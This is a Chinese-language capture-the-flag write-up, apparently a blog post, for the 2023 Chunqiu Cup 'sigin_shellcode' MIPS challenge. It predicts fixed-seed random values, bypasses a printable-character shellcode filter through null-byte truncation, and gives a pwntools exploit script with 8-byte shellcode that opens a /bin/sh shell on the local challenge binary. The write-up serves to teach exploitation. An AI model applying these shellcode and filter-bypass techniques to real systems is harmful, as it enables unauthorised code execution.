2023春秋杯春季赛 sigin_shellcode

分析

ida打开,程序的主干如下,就是一个下落的游戏,主要有三个功能:

  1. menu:进行选择,继续下落或者退出
  2. shopping:用金币购买道具,用于增加攻击力
  3. down:下落,其中有一个获取金币的函数,以及到达100层时进行决战的函数。

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // $v0

  init();
  logo();
  while ( 1 )
  {
    menu();
    signal(14, (__sighandler_t)handler);
    alarm(0x14u);
    v3 = my_getinput();                         // 获取输入:1,2,3
    if ( v3 == 2 )
      break;
    if ( v3 == 3 )
    {
      puts("\n[*]Shopping Time!");
      shopping();
    }
    else
    {
      if ( v3 != 1 )                            // 输入是1的时候就继续下落
        exit(0);
      down();
    }
  }
  puts("Disappointed!");
  exit(0);
}

下落:down

主要来看看down里面的函数:

void down()
{
  money = get_coin();
  printf("\nYou have coins: %d\n", money);
  printf("You are at %d floor\n", ++Floor_num);
  if ( Floor_num == 100 )
  {
    puts("[*]You finally reached the 100th floor\n[*]Now you have to face to the big boss!");
    battle();
  }
}

获取金币:get_coin

srand(0x1BF52u);
coin = rand() % 114514 % (Floor_num + 1);

这里进行随机数生成的,随机数是多少,本层能够获取的金币就最多是多少,因为种子值是固定的,所以这些“随机值”是可以计算出来的。
用C程序生成这些伪随机数:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void calculate_coin(int floor_num) {
	srand(0x1BF52u);
	int coin = rand() % 114514 % (floor_num + 1);
	printf("Floor_num = %d, Coin = %d\n", floor_num, coin);
	// 将结果写入文件
	FILE* fp = fopen("coin.txt", "a");
	if(fp == NULL) {
		printf("Error opening file!\n");
		return;
	}
	fprintf(fp, "Floor_num = %d, Coin = %d\n", floor_num, coin);
	fclose(fp);
	
	FILE* fp1 = fopen("everycoin.txt", "a");
	if(fp1 == NULL) {
		printf("Error opening file!\n");
		return;
	}
	fprintf(fp1, "%d,",coin);
	fclose(fp1);
}
int main() {
	for(int i=1; i<=100; i++) {
		calculate_coin(i);
	}
	return 0;
}

后来看到别的大佬是在python调用libc库来生成这些随机数的

from ctypes import *
dll = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
···
dll.srand(0x1BF52)
sendlineafter('How much do you want?\n', str(dll.rand() % 114514 % (Floor_num + 1))) 

所以拿金币,买道具是没问题的了。
然后就是到了100层和boss battle了。

决斗:battle

首先是抛硬币,结果是1就是boss先手,这是必死的,如果是0就是自己先手,boss必死。
有二分之一的概率能赢,是多几次就行。

接着就是输入shellcode了:

···
puts("Shellcode > ");
memset(buf, 0, sizeof(buf));
read(0, buf, 0x10u);
func_ptr = (void (*)(...))buf;
for ( i = 0; ; ++i )
{
v1 = strlen(buf);
if ( i >= v1 )
    break;
if ( !check(buf[i]) )
{
    puts("[*]BOX: Forbidden!");
    exit(0);
}
}
useful_tools();
func_ptr();
···

shellcode长度是16,然后shellcode会写入buf内存里。

shellcode检验:check

然后对shellcode进行check,

int __cdecl check(int string)
{
  unsigned int i; // [sp+18h] [+18h]

  for ( i = 0; i < strlen(white); ++i )
  {
    if ( string == white[i] )
      return 1;
  }
  return 0;
}

white是白名单,是可见字符

.data:00412180 white:          .ascii "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678"
.data:00412180                                          # DATA XREF: check+30↑o
.data:00412180                                          # check+6C↑o
.data:00412180                 .ascii "9!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"<0>

到后面就会执行这段shellcode(func_ptr())。

远程调试

远程端:利用qemu启动程序。

sudo chroot . ./qemu-mipsel-static -L . -g 4444 ./pwn

调试端:然后gdb-multiarch连接调试

gdb-multiarch pwn
target remote 127.0.0.1:4444
continue

远程端:在输入时按下ctrl+c就能打下断点,调试端就可以看到机器指令。

调试端:
ni指令进行逐步调试,然后通过set命令来设置寄存器的值,比如使代表层数Floor_num的寄存器的值为100,尽快进入battle函数里,然后同样用set指令来设置对应寄存器的值,获取先手,打败boss(就是开挂!),最后来到useful_tools函数里:

void useful_tools()
{
  puts("Hacking...\n");
}

反编译的userful_tools很简单,但是它的汇编代码却藏了私货:

.text:00400B80                 addiu   $sp, -0x20
.text:00400B84                 sw      $ra, 0x18+var_s4($sp)
.text:00400B88                 sw      $fp, 0x18+var_s0($sp)
.text:00400B8C                 move    $fp, $sp
.text:00400B90                 li      $gp, 0x41A1E0
.text:00400B98                 sw      $gp, 0x18+var_8($sp)
.text:00400B9C                 lui     $v0, 0x40  # '@'
.text:00400BA0                 addiu   $a0, $v0, (aHacking - 0x400000)  # "Hacking...\n"
.text:00400BA4                 la      $v0, puts
.text:00400BA8                 move    $t9, $v0
.text:00400BAC                 jalr    $t9 ; puts
.text:00400BB0                 nop
.text:00400BB4                 lw      $gp, 0x18+var_8($fp)
.text:00400BB8                 li      $a0, 0x69622F2F     
.text:00400BC0                 li      $a1, 0x68732F6E
.text:00400BC8                 li      $t0, 0
.text:00400BCC                 sw      $a0, 0x18+var_20($sp)
.text:00400BD0                 sw      $a1, 0x18+var_1C($sp)
.text:00400BD4                 sw      $t0, 0x18+var_18($sp)
.text:00400BD8                 addiu   $a0, $sp, 0x18+var_20
.text:00400BDC                 li      $t0, 0x24020FAB
.text:00400BE4                 li      $a1, 0xC
.text:00400BE8                 sw      $t0, 0x18+arg_30($sp)
.text:00400BEC                 sw      $a1, 0x18+arg_34($sp)
.text:00400BF0                 nop
.text:00400BF4                 move    $sp, $fp
.text:00400BF8                 lw      $ra, 0x18+var_s4($sp)
.text:00400BFC                 lw      $fp, 0x18+var_s0($sp)
.text:00400C00                 addiu   $sp, 0x20
.text:00400C04                 jr      $ra
.text:00400C08                 nop

从0x400bb8开始到0x400BD8,就是往a0写入字符串/bin/sh.

2f 2f 62 69 6e 2f 73 68就是//bin/sh

这个在调试的时候也能看到:

*A0   0x7ffff4c0 ◂— '//bin/sh'
 A1   0x68732f6e ('n/sh')
 A2   0x1
 A3   0x0

然后进行调试,在执行func_ptr时,可以看到那里早就写好了syscall <SYS_execve>
img

所以我们输入的shellcode其实就是从0x7ffff510开始覆盖。
一种方法是输入的shellcode修改a1,a2的值使其为0,同时要注意的是输入的要是可见字符

andi $a1,$t3,0x6160;
andi $a2,$t3,0x6160;

或者使用strlen来返回buf的长度的,因此可以用00截断,使得返回的长度小于等于i,进而不需要进行check,也就是说可以输入不可见字符了。

for ( i = 0; ; ++i )
{
v1 = strlen(buf);
if ( i >= v1 )
    break;
if ( !check(buf[i]) )
{
    puts("[*]BOX: Forbidden!");
    exit(0);
}
}

用00截断

li $a1,0
li $a2,0

同样的,这个时候就可以借助00截断,完整的覆盖buf,而不需要考虑buf上有没有syscall

addiu $a1,$zero,0
addiu $a2,$zero,0
addiu $v0,$zero,4011
syscall 0x40404

查看上面指令的机器码

>>> from pwn import *
>>> context.binary = 'pwn'
[*] '/home/zsc/Documents/sigin_shellcode/pwn'
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

>>> sc = '''
... addiu $a1,$zero,0
... addiu $a2,$zero,0
... addiu $v0,$zero,4011
... syscall 0x40404
... '''
>>> print(asm(sc))
b'\x00\x00\x05$\x00\x00\x06$\xab\x0f\x02$\x0c\x01\x01\x01'
>>> print(len(asm(sc)))
16
>>> print(asm(sc))
b'\x00\x00\x05$\x00\x00\x06$\xab\x0f\x02$\x0c\x01\x01\x01'

>>> sc1 = '''
... andi $a1,$t3,0x6160;
... andi $a2,$t3,0x6160;
... '''
>>> print(len(asm(sc1)))
8
>>> print(asm(sc1))
b'`ae1`af1'

>>> sc2 = '''
... li $a1,0
... li $a2,0
... '''
>>> print(asm(sc2))
b'\x00\x00\x05$\x00\x00\x06$'
>>> print(len(asm(sc2)))
8

exp

everycoin.txt是前面C程序生成的伪随机数文件,在Ubuntu22虚拟机上运行。

from pwn import *


with open("everycoin.txt", "r") as f:
    for line in f:
        coinlist = line.strip().split(",")

# context(log_level='debug')
DEBUG = False

if DEBUG:
    p = process(["./qemu-mipsel-static","-g", "4444", "-L","./","./pwn"])
else:
    p = process(["./qemu-mipsel-static", "-L","./","./pwn"])
    context.log_level = 'debug'
    context.arch = "mips"
    context.endian = "little"
    # context.terminal = ["tmux","sp","-h"]

sum = 0
i=0
flag = 0
while i<100:
    if sum < 2551:
        if sum >= 200 and flag == 1:
            p.sendlineafter('Go> ','3')
            p.sendlineafter('> \n','2')
            sum -= 200
            continue
        p.sendlineafter('Go> ','1')
        p.sendlineafter('want?',coinlist[i])
        sum += int(coinlist[i])
        i+=1
        
    else:
        if flag == 0:
            p.sendlineafter('Go> ','3')
            p.sendlineafter('> \n','3')
            sum -= 2551
            flag = 1    #买了最高伤害的

            




p.recvuntil('Shellcode > \n')
shellcode="\x38\x00\xa5\x8f\x38\x00\xa6\x8f"
'''
38 00 A5 8F    lw $a1, 0x38($sp)
38 00 A6 8F    lw $a2, 0x38($sp)
'''
p.send(shellcode)
p.interactive()

总结

比赛的时候没做出来,没有注意到strlen可以00截断,也没有调试发现syscall(主要是还不熟练gdb调试),所以最后不知道输入怎样的shellcode。

感觉做这道题最大的收获就是学会了用gdb去调试程序,尤其是要熟练使用set指令和jump指令,其次是shellcode的编写,再就是strlen会被00截断的特性了,最后就是种子固定时rand生成的随机数也是伪随机、可计算的。

参考

https://cn-sec.com/archives/1761461.html

https://d1ag0n.asia/archives/2023春秋杯春季赛pwnrewp

https://blog.csdn.net/vivianke/article/details/7986075

posted @ 2023-06-06 20:50  叶际参差  阅读(85)  评论(0编辑  收藏  举报